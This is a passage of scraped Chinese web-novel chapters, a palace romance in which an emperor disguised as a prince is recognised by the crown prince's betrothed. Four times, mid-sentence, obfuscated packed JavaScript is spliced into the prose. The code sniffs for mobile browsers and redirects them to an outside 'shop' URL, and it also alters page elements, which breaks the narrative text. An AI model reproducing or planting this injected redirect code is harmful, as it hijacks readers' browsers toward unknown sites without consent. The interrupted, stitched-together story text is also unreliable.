然而这层实在是太深入,也不符合他现在闲散亲王的身份,天子换了个更适合“晋王”的理由:“先皇殡天时我尚且年少,后来阿娘曾让我相看过许多名门淑女,没有喜欢的,就此搁置了。” ”原来如此。”崔南栀恍然大悟,她记起紫宸殿那位也未立后,可能因为他自己不娶妻,所以也没什么立场催促兄弟。 她真是被婚事烦昏了头,竟然会把晋王往奇怪的方向想。 晋王好几次帮她还不求回报,怎么会是那样的人。 崔南栀看起来像个不谙世事的小女郎,其实一点就透,很容易顺着蛛丝马迹问出些不一样的问题。 再让她挖下去,未必能完美圆谎。 天子岔开话题:“今日天气刚好,也不晒人,去不去打马球?” 崔南栀刚想答应,又苦恼地低头看了看衣裙:“可是今日没有带骑装来。” “骑马散散心也好,湖边风大湿气又重,再吹下去会受寒。” 崔南栀欣然应允。 去延英殿的路要绕过清晖阁,崔南栀脚步慢下来,频频朝清晖阁的方向望去。 “在看什么?”天子问。 “清晖阁。”崔南栀答,“想起来阿耶夸过同僚的诗,‘阶前蓂候月,楼上雪惊春’,不过现在还看不到这样的景象呢。”她笑吟吟望向天子,“皇叔见过吗?” 天子点点头:“再过两个月,长安就会下雪。到时候宴请六宫,你也能看到。” “会在这里宴请吗?”崔南栀愣了下,又转头看向绿植掩映后的殿宇。 “临近太液池,风光不错。”天子随口说道,触及崔南栀的目光,他立即反应过来找补,“陛下喜欢在这下棋,我也常来。” 如果崔南栀知道他的身份,去清晖阁也就几步路的事,隔了一层反倒不方便了。 换个身份只是怕崔南栀生出惧意,但亲王的身份到底还是有诸多不便。 “皇宫这么大,我好像只去过两三个地方。”崔南栀略有些艳羡,“要是能看看阿耶说过的那些就好了。” 这是小女郎的天真之处,崔积繁只在前朝,而她现在的位置在后宫,已经见到许多崔积繁见不到的风景。 “将来面见圣人,你可以向他讨个旨意。” 崔南栀轻蹙眉尖:“那得先见到陛下……” “这么紧张?你觉得圣人是个怎样的人?”天子随口一问,崔南栀却真的开始思忖。 还没等崔南栀开口,天子已经截断话头:“罢了,是我失言,此话不宜议论。” 他忽然害怕从崔南栀口中听到对他的评价,宁可一叶障目,也不想听到半句不顺心的话。 · 赶在宫门下钥前,崔南栀登上回家的马车。 芳丹慢慢梳着她鬓边落下的碎发,一边重新为崔南栀梳头,一边道:“小娘子今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725199|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日又见到了晋王?” “只是偶遇,圣人召他进宫下棋,这才在太液池边遇到了。” 搬出圣人当借口,芳丹无从指责。 崔南栀听她叹气就知道肯定要唠叨,赶忙在芳丹开口前先解释:“其实也没见过几次,嬷嬷跟我说过的话我都记着呢,我有分寸。” “娘子的为人我自然知晓,但那晋王若是也有分寸就应当……” “咦?那边走着的是不是表哥!” 话语被崔南栀打断,芳丹用发簪轻轻敲了下她的额头,无奈地插进她发间。 马蹄声由远到近,停在郑煜身边。 车帘被一把掀起来,崔南栀喊了声“表哥”,郑煜才如梦初醒。 崔南栀唤他上车,郑煜以车内狭窄为由婉拒了。 “表哥刚从东宫回来?”崔南栀让车夫放慢速度,与郑煜步行速度平齐。 郑煜迟疑了下,缓缓点头。 崔南栀好像看出他心情不好,没有询问他公务上的事,东扯一句西扯一句。从相遇到家门口短短一段路,郑煜已经听完了近几日街坊邻居的八卦。 难怪祝萦很喜欢她。郑煜心想。 只是他这样好的表妹要嫁去东宫,郑煜没法真心祝贺。 “表哥,嫂嫂在门口等你呢。”崔南栀提醒道。 郑煜也看到在郑家门口等候的人,快步上前。 祝萦给他披上外衫,口中还止不住担忧:“夜间风大,怎么早上出门时候没多带件衣服。” 郑煜按下她的手,示意崔南栀还在边上看着呢。 崔南栀捂着眼道:“嫂嫂就当我不在这吧。” “哪里学来的腔调。”祝萦红着脸让她进去,“厨房里炖了水晶肘子,拿去堵你的嘴。” · 常进宝看着宫人们将换下的衣衫整理好,视线扫过铺平整齐的木盘,突然问道:“陛下今日换下的丝帕去哪了?” 小宫女一凛,立时回话:“并没有看到陛下的丝帕。” 说着几个宫人又翻找了一遍,也没找到陛下今日带出去的那块帕子。 “奴婢们再去找找,或许是落在哪处……” 弄丢御用的物品多半要挨罚,小宫门才调来甘露殿不久,哪见过这种事,忙不迭就要回去找。 常进宝拦住她:“罢了,一块丝帕还不至于。陛下正在里面休息,你惊扰了才难逃一罚。”他挥手道,“你们都出去。” 宫人们连声告谢,捧着收拾好的衣物退出殿外。 那块丝帕的去处,常进宝有个猜测,但实在太过大胆。 他侍奉天子许多年,在衣食住行上或许比天子本人还了解他的喜恶,丝帕这样的贴身之物,天子一向是弄脏了就扔,绝不会留到第二天。 他在换下的衣物里没有找到那块丝帕,那岂不是…… 常进宝悄悄探头望向内殿,想核实自己的猜测。 天子正倚在榻边阖眼小憩,丝帕就摆在手边桌案上。 常进宝心惊肉跳地缩回脑袋。 或许是陛下忘了,等醒来……就会让他拿去丢了吧? 15. 第 15 章 第15章 一抹不属于甘露殿的香气幽幽侵入,唤醒本该在小憩的天子。 “何人在此?” 女郎没有回答,微微侧首。宫灯烛火摇曳,隔着层层绯红罗帐依稀可见窈窕身影。 幽香与剪影,都让天子联想到某个人。 但眼前女郎的姿态含羞带怯,活色生香,无论如何也不是栈道上娇憨天真的小女郎能做出来的。 “谁在装神弄鬼?”天子沉声问道。 他一向不为女色所惑,快步上前扯下纱幔,层层叠叠的轻纱下落,掩住女郎浓密鸦发和玲珑身姿。 她抬起手腕,衣袖滑落,露出一截藕白小臂,缓缓撩起薄纱,逐渐露出女郎的面容。 柔软如花瓣的唇上抹着艶红口脂,唇角弯起,颊边隐隐凹现梨涡…… 他还未看清女郎的上半张脸,便猛地惊醒,冷汗涔涔。 没有幽香,没有红帐,更没有昳丽美人。 目光所及都是熟悉的甘露殿布置,珠帘外能看到常进宝值守中的半个身子。 他在做梦,梦里的人是—— 天子按住眉心,一阵头痛。 他怎么会做这种梦? 余光瞥到桌案边的淡青色丝帕,一缕红色口脂的痕迹映入眼帘。 他更衣时放在桌案边,或许小宫女也看到那道口脂痕迹,误以为是他的珍藏私物不敢乱动。 指腹擦过红痕,他未曾直接触摸到女郎的肌肤,隔着薄薄丝绢也能想象出,必然是与绸缎一般细腻。 “……陛下?” 听到里间有动静,猜测是天子醒了,常进宝探头进来试探性唤了一声。 天子闻声抬头,神色冷厉地掠过他的脸。 常进宝打了个哆嗦,慌忙背过身去。 室内又恢复安静,只余珠帘晃来碰去的泠泠声响。 约莫过一炷香的工夫,天子才唤他进来。那块丝帕已经不见踪影,常进宝不敢乱看,死死盯着脚尖的一亩三分地。 待迫人的威压淡去,常进宝才道:“陛下,太后娘娘那边传口谕说,下周娘娘就要动身回宫。” 天子道好:“怎么比往年提前了一个月?” “听说太子妃已经定下,娘娘想见一见。” 像是太后会做的事,本该是含饴弄孙的年纪,后宫里空荡荡的,连能陪她打发时间聊聊天的小辈都没有。 自己儿子已经没指望了,她就把满腔热情投向孙辈,对太子妃一事上十二分的心。 果然,太后刚一回宫就询问太子妃在哪。恰好这一日崔南栀并不在宫里,太后就召来女官陪伴。 天子坐在边上喝了两碗茶,也没能插上一句话。 从样貌性格问到家世,最后天子终于忍不住打断了对话:“阿娘若是觉得寂寞,就让崔娘子多多入宫陪伴您。” 太后就等他这句话,不然召外人进来还得走流程,非得天子开金口才能让人想来就来。 她又问太子的课业,相比天子,反倒是太后对他的课业更为关心。 李家几代帝王辛苦造就的基业不能在这一代毁了,先帝那会儿已经够荒淫。不幸中的万幸,先帝登基没两年就殡天了,还没来得及败光国库。 “过继仪王子嗣终究不是长久之计,我虽不闻朝政,也听说他时常被言官弹劾。”太后提到太子,眉眼登时沉下三分,“你立李睢为储君,暂时堵住了朝臣们的嘴,但将来呢?他到底在仪王府住了十二年,不是一生下来就抱来的,谁是亲爷娘他还能不清楚?仪王妃也未必真能舍下这个孩子。” 天子舀上一碗鱼汤,汤色乳白,置于太后面前:“那倒未必。” “怎么说?” “仪王妃前阵子身子不适,请了御医去诊脉。”天子道,“御医说是滑脉之象。” 太后到底是经历过先帝后宫风雨的人,震惊神色转瞬即逝,便恢复如常:“仪王府要有好消息了。” 仪王不止有一个孩子,妾室们生的孩子不足继承世子之位,但若是仪王妃平安产子,整个仪王府的注意力都会转移到新生儿身上。生了女儿还好,要是生了男孩,仪王就会为他请封世子。 比起已经住进东宫、连见面都要避嫌的嫡子,明显是尚未出世的幼子会承担父母更多的偏爱,其中有对新生儿的期待,也有对嫡子的愧疚转而补偿给幼子。 毋庸置疑,不论孩子是男是女,都会分走仪王与仪王妃大部分的精力。 花天酒地是天子的纵容,但对仪王府的监视一日都未曾松懈过。 朝堂上的事本就牵一发而动全身,颁布旨意后,试图与郑家有来往的人也多了不少。郑鹤荣胆小,不敢太造次,他夫人陈氏近日多出席了些宴会,多数也是看在她是未来太子妃舅母的面子上。 众人各怀心事,唯有处于漩涡中心的崔小娘子,还在计较那道圣旨。 崔小娘子还不知道自己已经成为话题中心,像往常一样来到宫门口,等着女官领她进去。 今日接她的女官换了个面生的,比之前的看起来年长些。 崔南栀没做多想,打了声招呼就跟上去。 走了一段路,崔南栀觉得不对劲,好像不是之前走过的道路。 女官答道:“这是往蓬莱殿去的路,太后娘娘要见一见您。” 太后娘娘? 她听阿耶说过,陛下刚登基时候就是太后陪同一起上朝的,等陛下清理完朝堂能独当一面,太后才退居后宫专心礼佛。 在女官们的叙述里太后是个和善的主子,逢年过节就会给宫人们发赏钱。 不过崔南栀并不认为她只是表面上这样,能坐镇朝堂不能只靠太后的金印册宝,必然还有其他不显于人前的手腕。不然如何护持少帝不被大臣们摆布,安安稳稳地长大成人。 思忖间她已经看到牌匾上的题字,刚踏足殿内就闻到檀香味。 雍容的妇人坐在上首,从崔南栀一进来,她就认出那是崔积繁的女儿,继承了二人姣好端正的容貌,但眉眼间能看出几分肖似崔积繁的神态。 她垂帘几年,对崔积繁有不错的印象。天子让崔积繁的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725200|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿做太子妃,太后是没什么意见的。 “好孩子,过来让我看看。”太后招手,崔南栀乖巧地上前。 乌发红唇,肤色白净,眉眼弯弯,是太后喜欢的女郎模样。 她一靠近,太后嗅到一丝不同的香气。 女郎给衣裙熏香很常见,但太后仔细回忆,却觉得这香气在哪闻到过。 太后将这几日接触过的人都回忆一番,微微诧异,竟然是与天子一同用膳时,闻到过类似的香气。 “你这衣裙的熏香倒是很好闻……”太后慢慢道,“是哪儿来的香?” “臣女自己做的。”崔南栀如实回答,她有点疑惑太后为什么会问这个问题,“娘娘若是喜欢,臣女也为娘娘做一份。” “是闻着觉得熟悉,方才问一问,你不必紧张。” 同样的香她只给另外两人送过,崔南栀心里浮现出答案,犹豫着问道:“难道是……陛下那边?” 太后欣然颔首,崔南栀愈发无语——他明明收下了,怎么一声不吭?东西用得挺勤快,连打发人回话都没一声,当皇帝也不能这么摆架子吧! “我听女官们说,你与太子的关系不睦。” 虽然是摆在明面上的事,但被摊开说出来,还是让崔南栀有些赧然。 “你俩没见过面,现在的年轻人又爱自己拿捏主意,遽然被凑成一对,互相看不顺眼也正常。”出乎意料的,太后反而能理解这份心情,“未婚夫妻嘛,多相处相处,就能磨合得顺了。” 崔南栀只是笑了笑没有回答,按太子那个脾性,他们得磨合到下辈子吧! 真要当了什么太子妃,两人之间早晚有个被气死。 “提到婚事就让我头痛,陛下什么都好,就是在这事上不让我省心。”太后叹气,“他就是太有主意了,想做什么就非得去做,旁人根本劝不住他。” 崔南栀刚刚是不想接话,现在是一边坐着根本不敢接话,她哪能听太后抱怨天子啊,巴不得什么都没听过。 太后看出她的紧张,语气和蔼:“在我面前也不必拘束,就当家里长辈处着。难得碰到个合眼缘的,我倒是想让你多多进宫来陪我说话。” “太后不嫌弃臣女就好。”一座现成的靠山近在眼前,崔南栀还是得把握机会。 大概是真的太久没有小辈进宫,连女官们都觉得太后今日的兴致格外高。 “你会制香?” “跟阿娘学过些,也就粗通皮毛。”崔南栀解下腰间香囊递给太后,“太后方才问的,应当就是这种香。” 太后嗅过,愈发肯定了天子那日沾染的香气与它一样。 崔南栀解释她也做了香囊送去给天子,却石沉大海毫无回应。 太后哪里不懂,这是小女郎偷偷地跟她告状。 尚在紫宸殿处理政务的天子忽然打了个喷嚏。 常进宝吓了一跳,飞速回忆这几日他照顾天子的衣食起居——都是按惯例来,也没听陛下说过冷了还是热了。难不成,是他有什么疏忽的地方,竟然让陛下吹风受寒了吗? 16. 第 16 章 第16章 送东西要投其所好,崔南栀特意找女官打听太后的喜好。 太后素日礼佛,平时常用的也是檀香一类。檀香闻多了头脑混沌,上了年纪的人大多有头风的毛病。 这点对崔南栀来说不算什么,郑菀平日闲暇无事就喜欢自己调香,攒下不少方子。 崔南栀就当借花献佛,照着做了几份给蓬莱殿送过去,隔了几日就得到回音说太后很是喜欢。 东宫之内,侍从正将外面的事一件件汇总给太子听。 上次的闹剧之后,太子就没再见到过崔南栀,又连着做了几场噩梦,梦里都是崔南栀拿着撕毁的圣旨要与他老死不相往来。 还好只是梦,她不想见太子,偏偏他开始惦记崔南栀了。 长安诸多世家淑女,太子还是第一次主动对哪个女郎上心。 不过这份上心,似乎没有往好的方向发展。 “所以她给昌乐姑母送了,给皇叔送了,给太后也送了。就是没给我送?”太子不可置信,抓着侍从衣领反复确认。 侍从打听来的消息就是这些,点点头:“奴婢只问到这些,兴许是……崔娘子还没做完,说不定下一份就送给您了呢?” “她三日前才见了太后,今日蓬莱殿就收到东西了,可见她就是存心不想给我。” “要不奴婢去暗示一下崔娘子……” “不准去!”太子要被他气得翻白眼,“你要是去了,不就是我跟她低头伸手要吗,她肯定会觉得是我求她。” 侍从不敢再吭声,心想上一回不还是您眼巴巴追着崔娘子去的。 “崔南栀到底给人下什么迷魂汤,怎么太后和皇叔都偏心她。”太子来回踱步,晃得侍从眼晕。 侍从实在忍不住,战战兢兢提醒道:“殿下,明日太傅就要来查课业了……” 脚步一顿,太子极不情愿地坐回桌案前。 眼前是太傅布置的作业,他心里想的却是下回见到崔南栀,非得问问怎么不给他送。 · 太后寿宴在即,即便太后的意思是不想大操大办,也免不了该有的流程。 天子刚跨过门槛,敏锐地发觉蓬莱殿的熏香换了。 以往稳重的香气,现在掺杂几分清淡花香,跳脱不少,闻着很像某个小女郎的风格。 常进宝也闻出差别:“陛下,女官是拿错了熏香吗?不像是太后娘娘常用的味儿啊。” “说你是狗鼻子闻得灵敏,脑袋却不灵光。”天子瞥他一眼。 常进宝反应过来,一拍脑袋:“是崔小娘子的手艺吧!难怪奴婢感觉挺熟悉的。” 女官扶着太后出来,常进宝敛起嬉皮笑脸,规规矩矩候在一边。 “圣人今天心情不错?”太后自恃了解他,天子从进蓬莱殿起,眉梢间的笑意就未下来过,“看来言官们没有上什么罗里吧嗦的折子。” “阿娘说笑了,只是觉得殿内新换的熏香特别,闻着心旷神怡。” “崔娘子制的香闻着很是舒服,就让女官们把各处香炉里的熏香都换了。”太后甚是满意,在天子面前也不拐弯抹角,径直夸赞她,“我闻着很是清心静气,你政务繁忙,也让人送点去紫宸殿。”太后说道,“崔积繁还是会教女儿的,养出个这么乖巧省心的孩子。” 天子早料到她会讨太后喜欢,顺着太后的意思附和几句:“阿娘喜欢就好。” “听说你收了她的礼,却没个回音,人家小姑娘都觉得委屈,怕你看不上她的礼物。”太后板起脸,“若是寻常臣子家的姑娘也就算了,崔南栀是功臣之女,她又懂事,不拿当年崔积繁救驾之功要这要那的,宫里也不能如此慢待她。” 听起来崔南栀在太后面前很收敛,竟然能让她评出“乖巧”二字。她在长辈面前是很会卖乖的,不然就这点小事还能让太后放在心上,特地把他叫来训一遭。 但他哪里有慢待崔南栀呢,只是晋王与天子的身份起冲突,难以两全其美罢了。 天子这般想着,嘴上还是应下太后的话:“前些日子折子多了些,本想忙完了再赏,这不是一下就给忘了,回去就让常进宝去拟单子。” “也别等回去了,人家现在就在呢,当面谢恩也方便些。”太后抬手召来女官,“去让崔小娘子停一停吧,制香调香的不急于一时。” 天子脸色一僵:“什么?” 女官依言行事,转身进了内殿。 他听到有女郎细碎的交谈声传出,过了会儿女官便出来道:“崔娘子说她快做完了,让娘娘再等等吧。” 天子颇有些坐立不安——他今日还特地问了常进宝,崔南栀的课业不在这个日子,他才放心过来的。 “你怎么了?是身子不适?”太后察觉他不对劲。 天子勉力维持镇定:“儿臣想起来还有些折子没批完……” “折子是批不完的,而且里面不就是些请安和上贡的琐碎内容,晚点批复又无妨。”太后没上他当,“何况是太子妃,总要见一见。” 他已经在盘算着找什么新借口,听起来合理,又不会被人发现他在一个小女郎面前露怯。 “哐”一声,内殿传来东西落地的声音,而后伴随着女郎的惊呼。 一双双眼睛齐刷刷望过去,不知道内殿发生了什么。 内殿里,崔南栀的处境不大妙。 她今日穿着最喜欢的那条披帛,一个不留神勾到了摆件。崔南栀小心翼翼想解开,生怕被摆件勾丝。 越是焦急结果越是事与愿违。摆件把披帛划出一道口子不说,还碰倒了一边花瓶。 宫娥每隔两日就要换上新鲜花枝和清水,花瓶翻倒把崔南栀裙边淋了个透。 就一个细口花瓶,怎么能装进这么多水? ……祸不单行是不是就像她现在这样? 女官在外唤了声“崔娘子无事吧”,崔南栀赶紧回话:“我、我没什么事,刚刚碰倒了东西,马上就好!” 她扶起花瓶和摆件,取下划破的披帛。 即使把窗户都打开也没办法马上吹干湿透的裙边,只能先试一试。 小一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725201|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏茶工夫都没见到人,天子也生出疑虑。 “这孩子在做什么呢?”太后催促道,“别是忽然害羞不敢见生人了。” 女官要进去喊她,被太后叫住:“罢了,让我看看小姑娘在磨蹭些什么。” 太后起身,女官被她挥退,天子没找着借口,只得上前去扶她。 崔南栀正靠在窗边吹她的裙角,还好今日外面有风,衣料轻薄,已经吹得半干,马上就能看不出水痕了。 脚步声由远及近,崔南栀只来得及把裙子放下整理好,刚摸上窗户一角,人已经到了内殿。 小女郎探窗而出,鎏金步摇在乌发间微微晃动,日光照在她半边脸庞,杏眸红唇,鲜润灵动像是初绽的木芙蓉。 天子呼吸微滞。 崔南栀搭在窗角的手不知道是该动还是不该动,只能尴尬地扬起唇角,干巴巴解释:“我……我不小心弄倒了花瓶,裙子湿了,不敢出去……怕御前失仪……” “我还以为出什么事了,人没事就好,你还怕因为这种小事罚你不成?”太后不以为意,“去换条裙子,湿衣服穿在身上多难受。” 崔南栀松了口气,想谢过太后,便注意到边上的人。 只一眼,她惊得脚步停顿。 那是晋王? 天子正巧也朝她看来,目光相撞,天子飞快地错开视线,装作淡然模样:“既然无事便回去吧,这里有女使收拾。” 趁着女官在翻找衣裙,崔南栀问道:“太后边上那位是……” “是陛下呀。”女官答道,“陛下有赏,娘娘就想着让娘子当面谢恩,免得还要多跑几趟。” 崔南栀确信自己没有看错,虽说兄弟之间长相会有点相似,但孪生兄弟也没有到一模一样的程度吧。 她脑子里乱糟糟的,已经在回忆她都和晋王……不,现在是天子,都说过哪些话。应该没有说过陛下的坏话吧,似乎每次有要到紫宸殿的迹象,他都会找别的话题拐开。 崔南栀还以为他是怕私下议论天子,原来是怕聊到自己头上露馅。 天子心虚,但到底是见惯大风大浪的,比她镇定许多, 她离开前的眼神,眸子里满是震惊和不解。事已至此,他也不可能在太后面前去掩盖身份,只能认了。 崔南栀换上衣裙出来,犹犹豫豫走到太后边上。 对面就是天子,太后当她是第一次面圣心生怯意,安抚性地拍了拍手背:“这是崔娘子,你定下的太子妃,自己倒是没见过。” 哪里是没见过,见过的次数怕是比太子还多。 崔南栀只敢腹诽。 原来俗话说的“祸不单行”,落到她头上是这个意思。 明明是认识的,还要装作第一次见面的样子。 崔南栀在演,天子也在演。 天子看到她衣袖遮掩下的双手,正无措地绕着衣带,一圈圈卷在手指上。 果然她还是懂得权衡局势的,没有当场下他面子。 不然,他和崔南栀一个都别想安安稳稳走出蓬莱殿。 17. 第 17 章 第17章 他也不打算一直瞒下去的,等崔南栀适应了,他就准备告知自己的身份。 而不是现在这样猝不及防被揭露。 崔南栀一手托腮,另一手玩着果盘里的李子,没有要吃的意思,捏来捏去,指尖沾上了些许汁液,再用点力都要把李子捏烂了。 天子默默地挪开视线,心想在崔南栀心里可能已经把那两颗李子当成他在出气。 太后要去午睡,不留他们,崔南栀不便插手女官的事,柔声告退。 常进宝很懂得看上边眼色,只消一个眼神,他就先行一步出去追赶崔娘子。 “什么事要让常少监亲自来说?” 常进宝都听得出她有点咬牙切齿了,还得尴尬地陪着笑:“天干物燥,崔娘子消消气。主子瞧着刚刚崔娘子没怎么吃东西,特意备了凉饮小食,约崔娘子老地方相见。” “老地方?”崔南栀面露茫然,“常少监是不是记错了,我和陛下从未见过,哪知道什么老地方。” 常进宝咽了口唾沫,这儿也不算是无人的地方,时不时有小黄门和宫娥路过,也不知道把他们的对话听去几分,他不能在这儿和崔南栀讲太多。 就在常进宝踌躇档口,崔南栀拂袖而去,方才站着的地方还留下一抹淡淡幽香。 灰溜溜地回去,碰上正好走出蓬莱殿的陛下。 看他那表情,就知道人肯定没约上。 常进宝硬着头皮回禀:“崔、崔娘子说她……她她他……” 他得掂量一下,实话实说和欺君之罪,哪个能让他身首分离更快。 在天子注视之下,常进宝眼一闭心一横,还是把话说出来:“崔娘子说她与陛下从未见过,并不认识您。” 周身温度顿时低了几个点,常进宝磕磕巴巴提醒:“陛下,这儿还是蓬莱殿呢……” 要生气也得回甘露殿气,蓬莱殿到处都是太后的宫人,回头出点什么岔子被禀报给太后,陛下顶多挨几句训斥,常进宝作为中间传话人少不得要挨几顿板子,小命不保。 “回宫。”天子冷冷地抛下两个字。 常进宝长吁一口气,抬手叫候在远处的小黄门们跟上。 小黄门不解风情,凑在常进宝边上问陛下早上还一脸和煦,怎么现在脸色这么难看。 “你懂什么,雷霆雨露皆是君恩。”常进宝呛他,“别嬉皮笑脸的。” 小黄门把脑袋缩回去:“那雨露也是先淋常少监头上啊……” 一语直直扎进常进宝心口。 陛下近几年磨炼得人愈发稳重,再加上朝堂没出乱子一片祥和,差点叫人忘了陛下原本就不是个脾气和善的人。他有心要为欺骗了崔娘子一事道歉,以陛下的脾气已经是能做的最大的让步。 不过崔娘子好似完全不受用,还没什么人敢拂陛下的面子呢……难怪陛下心情不畅快。 小黄门那话说得没错,首当其冲就是常进宝。 因此他奉茶都比平时仔细许多,生怕一点茶水溅出来。退出内间那一刻,无形的压力顿时消弭。 常进宝也不敢偷懒打盹了,规规矩矩候在外面,数着外面草叶子打发时间。这是他师傅教的,值守时候要是不能打盹,就找点东西数数,数花瓣数草叶,数差不多了,也该换人轮值了。 就在数到两千多时,身后传来纸张快速翻动的声音。 常进宝立即打起精神等着传话。 “去传太子太傅。” · 长安酒楼内。 太子倚在窗边,抬头看看阴沉天色:“瞧着像是要下雨。” “现在又不是夏天,哪有说变就变的天色。”他身旁的曹六郎满不在乎,将斟满酒的杯子递至太子面前。 几个世家子弟包下一桌丰盛宴席,美其名曰平日都是太子宴请他们,今日也让他们做东还礼。 太子接过酒杯喝个干净,面上没有露出多少笑意,情绪低落。 “殿下若是不满意酒菜,咱们换一家也成,长安那么多大酒楼总有让殿下满意的。” “就是就是。”有人跟着附和。 “朋友的心意怎么能辜负。” 这话像是给他们吃了定心丸,一时间席间气氛更是热闹。 酒过三巡,微醺意正酣。 曹六郎顺势揭开正题:“我听爷娘说,殿下的太子妃人选已经定下了?” 太子眼前浮现出崔南栀的脸:“定下了,是以前崔尚书的女儿。” “崔氏现在有人官至尚书令吗?” “没有吧?” “不是你们想的那个崔氏,是以前给我皇叔挡过刺客的那个。” 在座的人年龄与太子相仿,崔尚书救驾那会儿他们还是小孩子,与朝政扯不上半分关系。 曹六郎听家里长辈说过,有点印象,一下反应过来:“哦我知道了,后来不在长安了是吧?” “不是选太子妃吗,怎么给殿下挑了这么个小门小户的女郎?” “我听说是崔氏女,还以为是世家崔氏。” “太子殿下将来执掌四海,怎么能配个身家不显的小户女……” 酒劲上头,讲出的话也不过脑子。 之前太子对这门婚事很排斥,他们想要讨得太子欢心,言语间愈发放肆,但余光还黏在太子身上观察着。 太子“砰”地放下酒杯,酒液溅出少许,落在桌上,晶莹剔透如晨间露珠。 世家子弟们噤声,一齐看向他。 太子反倒尴尬起来,他也不知道怎么想的,听到他们说崔南栀如何如何,忽然心生烦躁,回过神来已经把酒杯拍在桌上了。 可大家都看着他,太子不能装作无事发生:“我见过她了,也没那么差劲。怎么着也是皇叔选中的人,说她不好岂不是在打我皇叔的脸?” “殿下言之有理。” “也是,世家贵女虽好,但脾气也大。” “对啊,万一碰上我阿姐那样的性子,殿下也吃不消吧。” 你一言我一语打圆场糊弄过去,太子不想跟他们争论世家女还是小户女的问题,只是觉得听他们这般贬低崔南栀,令他很不舒服。 ……虽然她脾气也没比世家贵女好到哪去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725202|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子这会儿满脑子都是崔南栀,像是决了堤的洪水,一旦想起崔南栀的名字,就遏制不住去想她现在在做什么。 曹六郎重新为他斟上酒,赔礼道:“刚刚言语不周,扰得殿下不快。” 太子将酒喝干表示并没有关系:“罢了,认识几年了,我知道你们不是有心诋毁。” 曹六郎见缝插针:“对啊,咱们和太子好几年的交情,都是真心向着太子殿下的。太子殿下有什么烦心事,今日好酒好菜都不得展颜?” 酒杯在指间把玩几圈,其他人立即有眼色地让各自的随从小厮出去。 等包间内没有旁人在了,太子才叹口气道:“仪王府又有喜事了。” 众人面面相觑。 太子是仪王的嫡子,不过给了宫里当储君,为了避嫌几乎不会在外面提起仪王府。 “那……先恭喜仪王和仪王妃?”大家也不知道该说什么,试探试探太子的态度。 公主府亲王府传御医这种事都有记档,根本瞒不住人,何况皇嗣是头等大事,桩桩件件都要记录。 前脚录进去,后脚就有报信的告诉东宫。 太子没什么明显态度,有人胆子大,先出馊主意:“殿下若是在意世子之位,大可不必担心。” “窦诩!”太子惊疑不定。 窦诩也被吓了一跳,辩解道:“殿下在意仪王府,那仪王府肯定也在意您,殿下到底是仪王府出去的,难道还怕王爷王妃会与您离心吗?即便王妃生下世子,将来也是一心向着您,做殿下的后盾。” ……言之有理。 太子思忖片刻,似乎被他说服了。 窦诩大着胆子继续道:“殿下要与仪王府避嫌,不如想一想,选个中间人。” 他的心思几乎是写在脸上了,世家大族分支众多,每房都得为自家找出路。他们家将宝押在太子身上,几乎是明摆着告诉太子,若是他有想法,窦家可以为他铺路。 紧接着其他人也纷纷表态,同意窦诩的话。 说不心动肯定是假的,先前急切地想要一位世家贵女做太子妃,就是为了拉拢世家们做靠山,好让储君之位坐得更稳固些。 圣人无心女色,但到底是大好年华,万一将来有了自己的孩子,他这个太子就显得不那么名正言顺。若是有世家做后盾,圣人想动东宫也得权衡一下朝堂局势。 眼下不需要世家贵女,他们中有人主动投诚,向他抛出合作的意向。 太子想答应的因为天子,畏惧也是因为天子。 他是知道这位皇叔的手段的,当年能在朝堂上开辟出自己的道路,还能让朝臣们服气,对付他一个初出茅庐的新人还不是绰绰有余。 可窦诩这番话诱惑实在太大,直接把他架上去了。 原来有人追捧的滋味如此美妙,如果他坐上龙椅,一呼百应,岂不是比现在舒爽十倍百倍,甚至千万倍。 “殿下,意下如何?”窦诩举起酒杯。 太子迟疑片刻,斟上酒,与他轻轻一碰,一饮而尽。 窗外雨声乍响,顺着半开的支摘窗连绵垂落一片水幕。 18. 第 18 章 第18章 